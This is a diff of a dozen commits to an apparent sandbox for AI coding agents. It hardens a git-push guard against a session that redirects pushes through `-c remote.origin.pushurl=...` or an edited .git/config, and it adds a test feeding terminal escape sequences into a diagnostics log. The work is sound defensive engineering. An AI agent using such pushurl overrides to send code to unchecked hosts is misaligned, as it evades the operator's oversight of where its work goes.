Compare commits
12
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
3a26bd2618 | ||
|
|
483e44978d | ||
|
|
f51403a3dc | ||
|
|
ebfc5ce7ff | ||
|
|
3e1521c412 | ||
|
|
6baf78d05c | ||
|
|
26ed2e6a5b | ||
|
|
1f251efd5b | ||
|
|
58c6f1b64d | ||
|
|
3642156e7c | ||
|
|
df7c32154c | ||
|
|
ea352d21ce |
@@ -410,16 +410,20 @@ _config_valid_value() {
|
||||
# A model's name at whatever endpoint serves it, which is not an
|
||||
# identifier: every hosted catalogue namespaces by vendor with a
|
||||
# slash (`z-ai/glm-5.3`) and several qualify a variant with a colon
|
||||
# (`deepseek/deepseek-r1:free`, `llama3:8b`). Typed `identifier`,
|
||||
# not one OpenRouter id could be configured at all, so the backend
|
||||
# this harness exists to reach was unusable.
|
||||
# (`deepseek/deepseek-r1:free`, `llama3:8b`), and Anthropic
|
||||
# brackets a context variant (`claude-opus-5[1m]`). Typed
|
||||
# `identifier`, not one OpenRouter id could be configured at all,
|
||||
# so the backend this harness exists to reach was unusable; the
|
||||
# first fix for that missed the brackets, which is why the set
|
||||
# below is the union of what real catalogues spell rather than
|
||||
# what the last reported id needed.
|
||||
#
|
||||
# Still narrow, and for the same reason `path` is: this reaches an
|
||||
# agent's configuration file. It is written there with jq --arg, so
|
||||
# the JSON escaping is not what this is protecting - what it
|
||||
# protects is that a value carrying a newline or a tab would split
|
||||
# a record every reader of this config expects to be one line.
|
||||
[[ "$value" =~ ^[A-Za-z0-9][A-Za-z0-9._:/-]*$ ]]
|
||||
[[ "$value" =~ ^[A-Za-z0-9][][A-Za-z0-9._:/-]*$ ]]
|
||||
;;
|
||||
jsonfield)
|
||||
# Which value inside a credentials file is the key: dot-separated
|
||||
|
||||
@@ -299,14 +299,27 @@ def _readable(raw, encoding):
|
||||
# zstd and anything else. Saying which is more use than printing the
|
||||
# bytes, and printing the bytes is what this exists to stop.
|
||||
return "(%d bytes, %s-encoded)" % (len(raw), enc)
|
||||
text = raw.decode("utf-8", "replace")
|
||||
return "".join(c if c.isprintable() else " " for c in text).strip()
|
||||
# Decodes only. Making the text fit for a terminal is _diag's, so that
|
||||
# every producer is covered rather than this one path.
|
||||
return raw.decode("utf-8", "replace").strip()
|
||||
|
||||
|
||||
# One line, timestamped, appended. Falls back to stderr when the file cannot
|
||||
# be written rather than losing the message: a diagnostic that disappears
|
||||
# because the thing that reports problems had a problem is the worst kind.
|
||||
def _diag(path, line):
|
||||
# Sanitised at the sink, not at each producer. bin/dejima prints this file
|
||||
# to the operator's terminal after a session ends, so it is a terminal-
|
||||
# bound channel carrying text chosen by an upstream API and, through the
|
||||
# request path and exception messages, by the session itself. That is the
|
||||
# hazard docs/security.md describes for audit findings, which are
|
||||
# hex-encoded for it.
|
||||
#
|
||||
# Nothing gets through today - CPython's request-line parser and
|
||||
# http.client both refuse a control character in a URL, and both repr what
|
||||
# they refuse - but that is two coincidences rather than a property, and
|
||||
# neither of them covers a producer added later.
|
||||
line = "".join(c if c.isprintable() or c == " " else " " for c in str(line))
|
||||
stamped = "%s %s\n" % (time.strftime("%H:%M:%S"), line)
|
||||
if path:
|
||||
try:
|
||||
|
||||
@@ -1016,13 +1016,15 @@ config_defaults_rebuild() {
|
||||
|
||||
if [ ! -e "$path" ]; then
|
||||
mv "$tmp" "$path" || { rm -f "$tmp"; return 1; }
|
||||
printf 'Pinned this release'"'"'s defaults in %s.\n' "$path"
|
||||
printf '\nPinned this release'"'"'s defaults in %s.\n' "$path"
|
||||
return 0
|
||||
fi
|
||||
mv "$tmp" "$path" || { rm -f "$tmp"; return 1; }
|
||||
|
||||
[ "$added" -eq 0 ] || printf 'Pinned %s new default(s) in %s.\n' "$added" "$path"
|
||||
[ "$dropped" -eq 0 ] || printf 'Dropped %s retired line(s) from %s.\n' "$dropped" "$path"
|
||||
# Each line carries the blank one before it, so a rebuild with nothing to
|
||||
# say prints nothing at all rather than a gap where a message would go.
|
||||
[ "$added" -eq 0 ] || printf '\nPinned %s new default(s) in %s.\n' "$added" "$path"
|
||||
[ "$dropped" -eq 0 ] || printf '\nDropped %s retired line(s) from %s.\n' "$dropped" "$path"
|
||||
|
||||
# Drift, last, because it is the part that asks something of the operator.
|
||||
while IFS= read -r key; do
|
||||
|
||||
+20
-2
@@ -38,6 +38,12 @@ fi
|
||||
repo_dir="$PWD"
|
||||
subcommand=""
|
||||
argv=("$@")
|
||||
# Every `-c key=value` this push carries, kept rather than only skipped. The
|
||||
# question below is where the push will go, and git answers that from the
|
||||
# config the push runs under - so resolving it without these would answer for
|
||||
# a different configuration than the one about to be used. A one-command
|
||||
# `-c remote.origin.pushurl=...` is exactly that case.
|
||||
config_overrides=()
|
||||
i=0
|
||||
while [ "$i" -lt "${#argv[@]}" ]; do
|
||||
case "${argv[$i]}" in
|
||||
@@ -45,7 +51,12 @@ while [ "$i" -lt "${#argv[@]}" ]; do
|
||||
i=$((i + 1))
|
||||
[ "$i" -lt "${#argv[@]}" ] && repo_dir="${argv[$i]}"
|
||||
;;
|
||||
-c|--exec-path|--git-dir|--work-tree|--namespace|--super-prefix)
|
||||
-c)
|
||||
i=$((i + 1))
|
||||
[ "$i" -lt "${#argv[@]}" ] \
|
||||
&& config_overrides+=(-c "${argv[$i]}")
|
||||
;;
|
||||
--exec-path|--git-dir|--work-tree|--namespace|--super-prefix)
|
||||
i=$((i + 1))
|
||||
;;
|
||||
-*)
|
||||
@@ -97,7 +108,14 @@ while [ "$i" -lt "${#argv[@]}" ]; do
|
||||
done
|
||||
[ -n "$remote" ] || remote=origin
|
||||
|
||||
remote_url="$("$REAL_GIT" -C "$repo_dir" remote get-url "$remote" 2>/dev/null)"
|
||||
# --push, because that is the URL the push will use. Without it this reads
|
||||
# remote.<name>.url while git pushes to remote.<name>.pushurl when one is set,
|
||||
# so a pushurl naming any other host is checked against the fetch URL and
|
||||
# allowed. It needs no evasion to reach: `git -c remote.origin.pushurl=...
|
||||
# push origin branch` sets one for a single command, and .git/config is in the
|
||||
# read-write project mount, so a session can also just write one down.
|
||||
remote_url="$("$REAL_GIT" ${config_overrides[@]+"${config_overrides[@]}"} \
|
||||
-C "$repo_dir" remote get-url --push "$remote" 2>/dev/null)"
|
||||
# A remote this cannot resolve is refused rather than passed through. It is
|
||||
# usually a typo, which git would reject in a moment anyway - but it is also
|
||||
# what a disagreement between this parser and git's looks like, and the
|
||||
|
||||
+13
-8
@@ -319,7 +319,7 @@ or better is the requirement.
|
||||
| **R3** | **Yes, by running it, and the documentation is wrong about how.** A rules file at `~/Documents/Cline/Rules/00-dejima.md` reached the model: asked for a codeword only that file contained, the session answered with it. `~/.agents/AGENTS.md` works too. `~/Cline/Rules`, which the documentation names, is **not** read on Linux, and `CLINE_RULES` pointing at a file did nothing. So the briefing is a file rather than a hook, which is what `briefing_path` in the manifest is for. |
|
||||
| **Network reach** | **In the container, unlike Claude Code's.** Not a requirement, but the thing [security.md](security.md#the-firewall-bounds-the-container-not-the-harness) says has to be established per harness rather than assumed. Asked to fetch a page the allowlist does not carry, Cline's web-fetch tool ran and returned "Unable to connect" - the same answer `curl` gives. So the egress allowlist bounds what reaches a Cline session, which is not true of Claude Code's `WebSearch`. |
|
||||
| **R4** | **Yes, by running it, and this is where Cline is strongest.** `--data-dir` relocates the whole store - `db/`, `settings/`, `logs/`, `cache/`. A full run against a chosen directory put everything there and left nothing in the default location. There are per-path environment variables too: `CLINE_DATA_DIR`, `CLINE_DB_DATA_DIR`, `CLINE_SESSION_DATA_DIR`, `CLINE_TEAM_DATA_DIR`, `CLINE_PROVIDER_SETTINGS_PATH`, `CLINE_HOOKS_LOG_PATH`. Per-project scoping is a flag rather than an inference. |
|
||||
| **R5** | **Yes, and confirmed end to end.** Credentials are a plain file, `settings/providers.json`, whose path `CLINE_PROVIDER_SETTINGS_PATH` relocates - so dejima can decline to mount the operator's. The substitute is the one that already exists: Cline configured for `anthropic` with the placeholder key `sandbox-credential-proxy-placeholder`, pointed at the real hostname, ran a real completion through dejima's in-container terminator and host-side proxy. No base-URL override and no new proxy work - the same arrangement as Claude Code's faked `.credentials.json`, and the session is indistinguishable from a stock install. |
|
||||
| **R5** | **Yes, and confirmed end to end.** Credentials are a plain file, `settings/providers.json`, whose path `CLINE_PROVIDER_SETTINGS_PATH` relocates - so dejima can decline to mount the operator's. The substitute is the one that already exists: Cline configured for `anthropic` with the placeholder key `sandbox-credential-proxy-placeholder`, pointed at the real hostname, ran a real completion through dejima's in-container terminator and host-side proxy. No base-URL override and no new proxy work - the same arrangement as Claude Code's faked `.credentials.json`, and the session is indistinguishable from a stock install. **What that completion did not establish is which models the subscription credential will serve a client that is not Claude Code**: Anthropic gates that per model and answers a refused one with a 429, so the arrangement is confirmed and the entitlement is not dejima's to give. See [providers.md](providers.md#a-subscription-credential-is-claude-codes-and-anthropic-enforces-that). |
|
||||
|
||||
Two notes for whoever writes the integration. Cline's plugin manifest schema
|
||||
still carries a field described as "not read by Claude Code", so its plugin
|
||||
@@ -362,7 +362,11 @@ a substituted value is never resolved.
|
||||
anywhere; dejima cannot follow it everywhere. A backend the proxy serves is
|
||||
fine whatever its dialect - the proxy takes the credential's kind and header
|
||||
names as arguments, so `openrouter` works the way `anthropic` does and the key
|
||||
never enters the container either way. What dejima cannot follow is a hosted
|
||||
never enters the container either way. Whether the ENDPOINT then serves the
|
||||
request is a separate question dejima does not answer: a Claude subscription
|
||||
credential is served to Claude Code and refused to other clients for the
|
||||
larger models, which is Anthropic's call and not one dejima works around
|
||||
(see [providers.md](providers.md#a-subscription-credential-is-claude-codes-and-anthropic-enforces-that)). What dejima cannot follow is a hosted
|
||||
API reached *without* a backend: there is no proxy holding a key back on its
|
||||
behalf, so the key would have to go in, which is R5 failing rather than a
|
||||
network restriction.
|
||||
@@ -559,12 +563,13 @@ built into its own layer like any other. The base image carries nothing of any
|
||||
harness's - not its package, not the directories it keeps state in, not its
|
||||
environment, and not its name as a default command.
|
||||
|
||||
The credential proxy is no longer on that list either. Which header carries
|
||||
the credential, what shape it takes, what must not travel beside it and
|
||||
whether it can be refreshed are all arguments the selected backend supplies,
|
||||
so a second harness reaches a proxied backend without a branch of its own -
|
||||
which is the R5 row above, and is confirmed rather than argued: Cline runs a
|
||||
real completion through the same terminator and the same host-side proxy.
|
||||
Nor is the credential proxy harness-shaped. Which header carries the
|
||||
credential, what shape it takes, what must not travel beside it and whether it
|
||||
can be refreshed are all arguments the selected backend supplies, so a second
|
||||
harness reaches a proxied backend without a branch of its own - the R5 row
|
||||
above. Cline has run real completions through the same terminator
|
||||
and the same host-side proxy, against `anthropic` and against `openrouter`,
|
||||
which is a different api_style through the same code.
|
||||
|
||||
`providers.bats` covers the manifest contract itself and is where a new
|
||||
`harness.conf` gets its parsing and validation tests. `config.bats`,
|
||||
|
||||
+57
-2
@@ -298,6 +298,13 @@ Compatibility is not a list anyone maintains: it is the backend's `api_style`
|
||||
against the harness's `api_styles`, checked at launch. This table is what those
|
||||
declarations currently work out to.
|
||||
|
||||
It answers whether dejima will pair the two, which is a question about
|
||||
dialects. Whether the endpoint then serves the request is the endpoint's to
|
||||
answer, and for a Claude subscription credential the answer depends on the
|
||||
harness - see [A subscription credential is Claude
|
||||
Code's](#a-subscription-credential-is-claude-codes-and-anthropic-enforces-that)
|
||||
below.
|
||||
|
||||
| Backend | `claude-code` | `cline` | Credential | You configure |
|
||||
| --- | --- | --- | --- | --- |
|
||||
| `anthropic` | yes | yes | OAuth, refreshed and written back | nothing, once you have logged in on the host |
|
||||
@@ -315,6 +322,54 @@ Adding a backend does not change this table by hand: a new directory whose
|
||||
`api_style` is one a harness already declares works with that harness the day
|
||||
it lands.
|
||||
|
||||
### A subscription credential is Claude Code's, and Anthropic enforces that
|
||||
|
||||
`backends/anthropic` reads the OAuth credential Claude Code writes when you
|
||||
sign in with a Claude subscription. **Anthropic serves that credential to
|
||||
Claude Code and refuses other clients, per model.** Observed on a Max
|
||||
subscription: `claude-haiku-4-5` is served, `claude-opus-5` and
|
||||
`claude-sonnet-5` are refused, while an otherwise identical request from
|
||||
Claude Code succeeds.
|
||||
|
||||
The refusal arrives as **HTTP 429 `rate_limit_error`**, with a body whose
|
||||
message is the word `Error`. It is indistinguishable from a quota problem
|
||||
from the inside, which is worth knowing before you spend an afternoon on
|
||||
your usage graphs: the account can be nowhere near any limit and every
|
||||
request will still be refused.
|
||||
|
||||
So with `[core] harness = cline` and `backend = anthropic`, expect Haiku to
|
||||
work and the larger models not to. For those, point cline at a backend whose
|
||||
credential is yours to spend rather than a subscription's:
|
||||
|
||||
```
|
||||
[harness.cline]
|
||||
backend = anthropic-api-key # console billing, key held on the host
|
||||
# or
|
||||
backend = openrouter
|
||||
```
|
||||
|
||||
`claude-code` with `backend = anthropic` is unaffected - that pairing is the
|
||||
one Anthropic is serving.
|
||||
|
||||
**dejima does not work around this**, and that is a limit on what dejima does
|
||||
rather than an opinion about the attempt.
|
||||
|
||||
The credential proxy substitutes the credential and changes nothing else: the
|
||||
header block the API receives is the harness's own, down to not adding an
|
||||
`Accept-Encoding` the client did not send. Getting past this gate would mean
|
||||
sending a system prompt the harness never wrote, so that the request presents
|
||||
as a different product - which is the one thing the proxy is built not to do,
|
||||
and would put a second answer to "which client is this" inside the component
|
||||
whose whole job is to pass the first one through unchanged.
|
||||
|
||||
It would also be brittle in a way that costs the operator rather than dejima:
|
||||
it works until the shape it copies changes, and the failure lands on their
|
||||
account.
|
||||
|
||||
Which models are gated is Anthropic's to change, and the table above is an
|
||||
observation on one subscription rather than a documented policy - if it moves,
|
||||
this section moves with it.
|
||||
|
||||
**Which backend a launch uses is the harness's setting**, `[harness.<name>]
|
||||
backend`, overridable for one launch with `--backend`. Per harness because
|
||||
that is how it is used: one harness against Anthropic and another against
|
||||
@@ -390,8 +445,8 @@ known until the container is actually running.
|
||||
|
||||
### How the briefing reaches the session
|
||||
|
||||
**A session-start hook is a size-limited channel, which is why it is no longer
|
||||
the only route.** Claude Code persists a large `SessionStart` payload to a file
|
||||
**A session-start hook is a size-limited channel, which is why it is not the
|
||||
only route.** Claude Code persists a large `SessionStart` payload to a file
|
||||
and injects a short preview in its place: measured in a dejima container, 9KB
|
||||
arrived whole and 21KB did not. A composed briefing plus a project's own
|
||||
`.dejima.md` runs well past that, so most of the briefing silently never
|
||||
|
||||
+11
-3
@@ -626,7 +626,7 @@ it.
|
||||
| **Proxied, refreshing** (`credential = anthropic-oauth`) | A fake credential file whose secrets are placeholders. The real one is read host-side per request. | The placeholder. | Use the API as you, through the proxy, while the session runs. |
|
||||
| **Proxied, static key** (`credential = static`) | A placeholder key in the harness's own model configuration, and the endpoint's real hostname. | The placeholder. | The same. |
|
||||
| **A backend with no credential** (`credential = none`, a model you serve) | Nothing but the endpoint's address. It needs no credential, so there is none to withhold. | Nothing. | Reach that endpoint, which is why it has to be one you allowlisted. |
|
||||
| **No proxy** (`[credentials] proxy = off`, or a Claude Code login the selected backend cannot serve) | The real credential file, mounted. | **The credential itself**, durable and usable offline. | Everything the credential allows, for as long as it is valid. |
|
||||
| **No proxy** (`[credentials] proxy = off`, or `[backend.<name>] proxy = off`) | The real credential file, mounted. | **The credential itself**, durable and usable offline. | Everything the credential allows, for as long as it is valid. |
|
||||
|
||||
**The first three keep the credential out; the fourth does not.** That is the
|
||||
whole of the difference, and it is why `proxy = off` is described here as a
|
||||
@@ -641,8 +641,16 @@ the host and injected per request. On the API-key path the container gets
|
||||
`ANTHROPIC_API_KEY=sandbox-credential-proxy-placeholder` and no credential file
|
||||
at all.
|
||||
|
||||
What lands in the fourth row is `proxy = off`, and a login whose shape no
|
||||
selected backend serves.
|
||||
**Only `proxy = off` lands in the fourth row, and only where you wrote it.**
|
||||
A credential the selected backend cannot serve - a Claude Code signed in with
|
||||
a console API token, whose file holds no `claudeAiOauth` block, against
|
||||
`backends/anthropic` - is a refusal, naming the backend, the file, the shape
|
||||
it expected and the two ways forward. A kill switch that can engage itself is
|
||||
not one, which is why this row is a kill switch rather than an option.
|
||||
|
||||
The refusal is scoped to a credential that *exists* and cannot be served. An
|
||||
absent one mounts nothing and downgrades nothing - that is a host where the
|
||||
harness has not been signed in yet, and it still launches.
|
||||
|
||||
**The proxy is switched per backend, not globally.** `[backend.<name>] proxy`
|
||||
falls back to `[credentials] proxy` when unset. One backend whose credential
|
||||
|
||||
+92
-19
@@ -25,28 +25,92 @@ input=$(cat)
|
||||
command=$(echo "$input" | jq -r '.tool_input.command // empty')
|
||||
cwd=$(echo "$input" | jq -r '.cwd // empty')
|
||||
|
||||
# Only care about `git push` invocations.
|
||||
if ! [[ "$command" =~ (^|[[:space:]&\|;])git([[:space:]]+-C[[:space:]]+[^[:space:]]+)?[[:space:]]+push([[:space:]]|$) ]]; then
|
||||
exit 0
|
||||
fi
|
||||
# Only care about `git push` invocations - found by walking tokens rather than
|
||||
# by matching a shape.
|
||||
#
|
||||
# The pattern this replaced recognised `git push` and `git -C <dir> push` and
|
||||
# nothing else, so every other spelling of git's own options - `git -c k=v
|
||||
# push`, `git --git-dir=... push`, `git --no-pager push` - was not a push as
|
||||
# far as this hook was concerned, and it exited 0 before any check ran. The
|
||||
# PATH shadow in docker/git-guard.sh walks argv and caught them regardless,
|
||||
# which is why this was a quiet gap in the earlier warning rather than an open
|
||||
# one.
|
||||
#
|
||||
# Split on the shell separators first, because a push can be the second half
|
||||
# of a compound command, and only the segment that STARTS with git is a git
|
||||
# invocation - "echo push" is not.
|
||||
push_seen=0
|
||||
segment=""
|
||||
IFS=$'\n' read -rd '' -a _segments < <(
|
||||
printf '%s' "$command" | sed 's/&&/\n/g; s/||/\n/g; s/;/\n/g; s/|/\n/g'
|
||||
printf '\0')
|
||||
for seg in ${_segments[@]+"${_segments[@]}"}; do
|
||||
read -ra _t <<< "$seg"
|
||||
[ "${#_t[@]}" -gt 0 ] || continue
|
||||
[ "${_t[0]}" = git ] || continue
|
||||
_i=1
|
||||
while [ "$_i" -lt "${#_t[@]}" ]; do
|
||||
case "${_t[$_i]}" in
|
||||
-c|-C|--exec-path|--git-dir|--work-tree|--namespace|--super-prefix)
|
||||
_i=$((_i + 1)) ;;
|
||||
-*) ;;
|
||||
push) push_seen=1; segment="$seg"; break ;;
|
||||
*) break ;;
|
||||
esac
|
||||
_i=$((_i + 1))
|
||||
done
|
||||
[ "$push_seen" -eq 1 ] && break
|
||||
done
|
||||
[ "$push_seen" -eq 1 ] || exit 0
|
||||
# Everything below reads the git invocation, not the whole command line.
|
||||
command="$segment"
|
||||
|
||||
repo_dir="$cwd"
|
||||
if [[ "$command" =~ git[[:space:]]+-C[[:space:]]+([^[:space:]]+) ]]; then
|
||||
repo_dir="${BASH_REMATCH[1]}"
|
||||
fi
|
||||
|
||||
# Positionally parse everything after "push": first non-flag token is the
|
||||
# remote, second (if any) is the refspec. Word-splitting rather than a full
|
||||
# shell parse, so quoting edge cases aren't handled - same pragmatic
|
||||
# tradeoff as the sibling deny-dangerous-bash.sh denylist.
|
||||
after_push="${command#*push}"
|
||||
read -ra tokens <<< "$after_push"
|
||||
# One pass over the whole command, the way the shadow walks argv: skip git's
|
||||
# own options until the first token that IS the subcommand, then take the
|
||||
# first non-flag token as the remote and the second as the refspec.
|
||||
#
|
||||
# Splitting on the first occurrence of the substring "push" is what this
|
||||
# replaced, and it split inside `remote.origin.pushurl=...`, a branch named
|
||||
# push-fix, and anything else carrying the word. What came out was a nonsense
|
||||
# remote, which then took the unresolvable path below.
|
||||
#
|
||||
# Word-splitting rather than a full shell parse, so quoting edge cases are not
|
||||
# handled - the same pragmatic tradeoff as the sibling
|
||||
# deny-dangerous-bash.sh denylist, and the reason the unresolvable case
|
||||
# refuses rather than guesses.
|
||||
#
|
||||
# `-c key=value` is kept rather than dropped: git resolves where a push goes
|
||||
# from the config the push runs under, so asking without these answers for a
|
||||
# different configuration. `git -c remote.origin.pushurl=... push origin
|
||||
# branch` is that case.
|
||||
config_overrides=()
|
||||
positional=()
|
||||
for tok in "${tokens[@]}"; do
|
||||
case "$tok" in
|
||||
-*) continue ;;
|
||||
*) positional+=("$tok") ;;
|
||||
esac
|
||||
read -ra tokens <<< "$command"
|
||||
t=0
|
||||
seen_push=0
|
||||
while [ "$t" -lt "${#tokens[@]}" ]; do
|
||||
tok="${tokens[$t]}"
|
||||
if [ "$seen_push" -eq 0 ]; then
|
||||
case "$tok" in
|
||||
-c) t=$((t + 1))
|
||||
[ "$t" -lt "${#tokens[@]}" ] && config_overrides+=(-c "${tokens[$t]}") ;;
|
||||
-C|--exec-path|--git-dir|--work-tree|--namespace|--super-prefix)
|
||||
t=$((t + 1)) ;;
|
||||
push) seen_push=1 ;;
|
||||
*) ;;
|
||||
esac
|
||||
else
|
||||
case "$tok" in
|
||||
-*) ;;
|
||||
*) positional+=("$tok") ;;
|
||||
esac
|
||||
fi
|
||||
t=$((t + 1))
|
||||
done
|
||||
|
||||
remote="origin"
|
||||
@@ -58,11 +122,20 @@ if [ "${#positional[@]}" -ge 2 ]; then
|
||||
refspec="${positional[1]}"
|
||||
fi
|
||||
|
||||
remote_url=$(git -C "$repo_dir" remote get-url "$remote" 2>/dev/null)
|
||||
# --push: the URL the push will actually use. remote.<name>.pushurl wins over
|
||||
# remote.<name>.url when it is set, and reading the latter checks a host the
|
||||
# push is not going to. See docker/git-guard.sh, which asks the same question.
|
||||
remote_url=$(git ${config_overrides[@]+"${config_overrides[@]}"} \
|
||||
-C "$repo_dir" remote get-url --push "$remote" 2>/dev/null)
|
||||
if [ -z "$remote_url" ]; then
|
||||
# Can't resolve a remote from here - let git produce the real error
|
||||
# rather than block or guess.
|
||||
exit 0
|
||||
# Refused, not passed through. A remote that does not resolve is usually a
|
||||
# typo git would reject in a moment anyway - but it is also what a
|
||||
# disagreement between this parser and git's own looks like, and the
|
||||
# failure of that disagreement has to be a refusal rather than a push
|
||||
# nobody checked. docker/git-guard.sh takes the same direction; the two
|
||||
# answering differently was the bug.
|
||||
echo "Blocked by git-push-guard.sh: cannot resolve the remote '$remote' to a URL, so there is nothing to check this push against. Name a remote that exists." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
host=$(echo "$remote_url" | sed -E 's#^[a-zA-Z]+://([^/@]+@)?([^/:]+).*#\2#; s#^[^@/]+@([^:/]+)[:/].*#\1#')
|
||||
|
||||
+3
-1
@@ -204,7 +204,9 @@ fi
|
||||
# only place that reports a shipped default having moved, because this is when
|
||||
# it moves - you pulled and re-ran this. A launch checking would be a standing
|
||||
# condition in front of every one.
|
||||
echo
|
||||
# The blank line is the rebuild's, not this script's: on a run with nothing to
|
||||
# add, drop or report it says nothing, and an unconditional `echo` here left a
|
||||
# second blank line between two paragraphs that were already separated.
|
||||
config_defaults_rebuild
|
||||
|
||||
# Guard registration, after the starter config above rather than before it:
|
||||
|
||||
Vendored
+26
-5
@@ -276,6 +276,28 @@ def received():
|
||||
return b""
|
||||
|
||||
|
||||
def await_received(predicate, timeout=15.0):
|
||||
"""Wait for what the container received to satisfy predicate.
|
||||
|
||||
The third instance of the same bug in this file - see await_raw and the
|
||||
reclaim wait above. A byte written to the master pty has to reach the
|
||||
client, cross into the container's stand-in and be appended to a file
|
||||
before the check can see it, and pumping for a fixed 0.8s and then looking
|
||||
was timing the machine rather than waiting for the thing. It failed in CI
|
||||
exactly that way: the check for ^C saw the tail of the line typed before
|
||||
it, because ^C had not arrived yet.
|
||||
|
||||
Returns the predicate's answer either way, so a real failure still fails
|
||||
rather than hanging until the suite's own timeout.
|
||||
"""
|
||||
end = time.time() + timeout
|
||||
while time.time() < end:
|
||||
if predicate(received()):
|
||||
return True
|
||||
pump(0.05)
|
||||
return predicate(received())
|
||||
|
||||
|
||||
def check(name, ok, detail=""):
|
||||
print(("PASS " + name) if ok else ("FAIL %s %s" % (name, detail)))
|
||||
if not ok:
|
||||
@@ -332,13 +354,12 @@ try:
|
||||
|
||||
before = received()
|
||||
send("typed\n")
|
||||
pump(0.8)
|
||||
check("input-reaches-the-resumed-session", received() != before)
|
||||
check("input-reaches-the-resumed-session",
|
||||
await_received(lambda got: got != before))
|
||||
|
||||
before = received()
|
||||
send("\x03")
|
||||
pump(0.8)
|
||||
check("ctrl-c-still-reaches-the-session", received().endswith(b"\x03"),
|
||||
check("ctrl-c-still-reaches-the-session",
|
||||
await_received(lambda got: got.endswith(b"\x03")),
|
||||
repr(received()[-4:]))
|
||||
|
||||
# The finding, asserted: the client is stopped by SIGSTOP, which it cannot
|
||||
|
||||
+28
-2
@@ -745,8 +745,6 @@ print(m._readable(b"plain \x00\x07text", ""))
|
||||
# message is not silently re-joined into a different one. The exact run
|
||||
# length is not the point; that none of them survives is.
|
||||
[[ "$output" == *"plain"*"text"* ]] || { echo "$output"; return 1; }
|
||||
[ -z "$(printf '%s' "$output" | tr -d '\11\12\15\40-\176')" ] \
|
||||
|| { echo "unprintable output survived"; return 1; }
|
||||
}
|
||||
|
||||
@test "brotli is read when the host can, and named when it cannot" {
|
||||
@@ -790,3 +788,31 @@ else:
|
||||
[ -z "$(printf '%s' "$output" | tr -d '\11\12\15\40-\176')" ] \
|
||||
|| { echo "unprintable output survived"; return 1; }
|
||||
}
|
||||
|
||||
@test "nothing unprintable reaches the diagnostics file, whatever wrote it" {
|
||||
# Asserted at the sink rather than on one producer. bin/dejima prints this
|
||||
# file to the operator's terminal after a session ends, so it carries text
|
||||
# an upstream API chose and - through the request path and exception
|
||||
# messages - text the session chose. Filtering it where it is written
|
||||
# covers a producer added later; filtering it in one formatter does not.
|
||||
#
|
||||
# CPython refuses a control character in a URL today, in two places, and
|
||||
# reprs what it refuses. That is a coincidence this should not rest on.
|
||||
run python3 -c '
|
||||
import importlib.util, importlib.machinery, tempfile, os
|
||||
l = importlib.machinery.SourceFileLoader("p", "'"$REPO_ROOT"'/bin/dejima-credential-proxy")
|
||||
m = importlib.util.module_from_spec(importlib.util.spec_from_loader("p", l)); l.exec_module(m)
|
||||
d = tempfile.mkdtemp(); f = os.path.join(d, "log")
|
||||
m._diag(f, "path=/v1/\x1b[2J\x1b[1;31mred\x1b[0m\x07 null=\x00 tab=\t")
|
||||
raw = open(f, "rb").read()
|
||||
print("BYTES", sum(1 for b in raw if b < 32 and b != 10))
|
||||
print(raw.decode().strip())
|
||||
'
|
||||
[ "$status" -eq 0 ] || { echo "$output"; return 1; }
|
||||
[[ "$output" == *"BYTES 0"* ]] \
|
||||
|| { echo "control bytes reached the file: $output"; return 1; }
|
||||
# And the text around them survives, so a sanitised line is still a
|
||||
# readable one rather than a row of spaces.
|
||||
[[ "$output" == *"path=/v1/"* ]] && [[ "$output" == *"red"* ]] \
|
||||
|| { echo "$output"; return 1; }
|
||||
}
|
||||
|
||||
+66
-6
@@ -10,13 +10,43 @@
|
||||
set -uo pipefail
|
||||
|
||||
root="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||
base="${1:-main}"
|
||||
# The remote-tracking ref by default, not the local branch. Everything this
|
||||
# prints is derived from base..head - the manual checks from which paths the
|
||||
# diff touches, the rollback list from which config keys it adds - so a base
|
||||
# behind the real one silently reports a different release. That is not
|
||||
# hypothetical: two passes ran against a local `main` 260 commits behind
|
||||
# origin/main and reported keys and a trust-anchor domain that had shipped
|
||||
# releases earlier. A gate answering confidently about the wrong diff is worse
|
||||
# than one that does not run.
|
||||
base="${1:-}"
|
||||
if [ -z "$base" ]; then
|
||||
if git rev-parse --verify --quiet origin/main >/dev/null 2>&1; then
|
||||
base=origin/main
|
||||
else
|
||||
base=main
|
||||
fi
|
||||
fi
|
||||
head="${2:-HEAD}"
|
||||
# Guarded, because everything below is relative to it: a cd that failed
|
||||
# silently would have this reporting on some other directory's suites and
|
||||
# diff, which for a release gate is the worst way to be wrong.
|
||||
cd "$root" || { echo "cannot enter $root" >&2; exit 1; }
|
||||
|
||||
# A named base that is behind its own upstream is refused rather than used.
|
||||
# Passing `main` explicitly is the ordinary thing to do and is exactly how the
|
||||
# stale-base runs happened, so this has to catch the argument as well as the
|
||||
# default.
|
||||
base_upstream="$(git rev-parse --abbrev-ref --symbolic-full-name "$base@{upstream}" 2>/dev/null || true)"
|
||||
if [ -n "$base_upstream" ]; then
|
||||
behind="$(git rev-list --count "$base..$base_upstream" 2>/dev/null || echo 0)"
|
||||
if [ "${behind:-0}" -gt 0 ]; then
|
||||
echo "release-pass: '$base' is $behind commit(s) behind $base_upstream." >&2
|
||||
echo "Everything below is derived from $base..$head, so this would report on" >&2
|
||||
echo "a release that is not the one being made. Fetch, or name $base_upstream." >&2
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
case "${1:-}" in
|
||||
-h|--help)
|
||||
echo "Usage: test/release-pass.sh [base] [head]"
|
||||
@@ -105,6 +135,9 @@ touches '^(harnesses/|bin/harness/|docker/harness-wrapper)' &&
|
||||
manual "Launch each affected harness against a real model."
|
||||
touches '^(bin/dejima-attach|bin/dejima-ttyd|systemd/)' &&
|
||||
manual "Attach over the web front door and detach again."
|
||||
touches '^tools/' &&
|
||||
manual "Launch with the affected tool included and use it. A tool is
|
||||
layered into the image and put on PATH; nothing here runs one."
|
||||
touches '^\.dejima/allowed-domains$' &&
|
||||
manual "A domain here is read from main by the CI hardener and widens every
|
||||
future CI job on that runner. Say in the PR what it is for."
|
||||
@@ -133,10 +166,29 @@ added="$(comm -13 \
|
||||
# The singular is spelled out rather than derived: "harnesses" does not lose
|
||||
# an s to become "harness", and a manifest is named for the singular.
|
||||
#
|
||||
# Every axis, including backends: the newest one is exactly the one a stale
|
||||
# list would miss, because a list is only ever updated by whoever remembers.
|
||||
# Every axis there is, and the list is checked against the tree below rather
|
||||
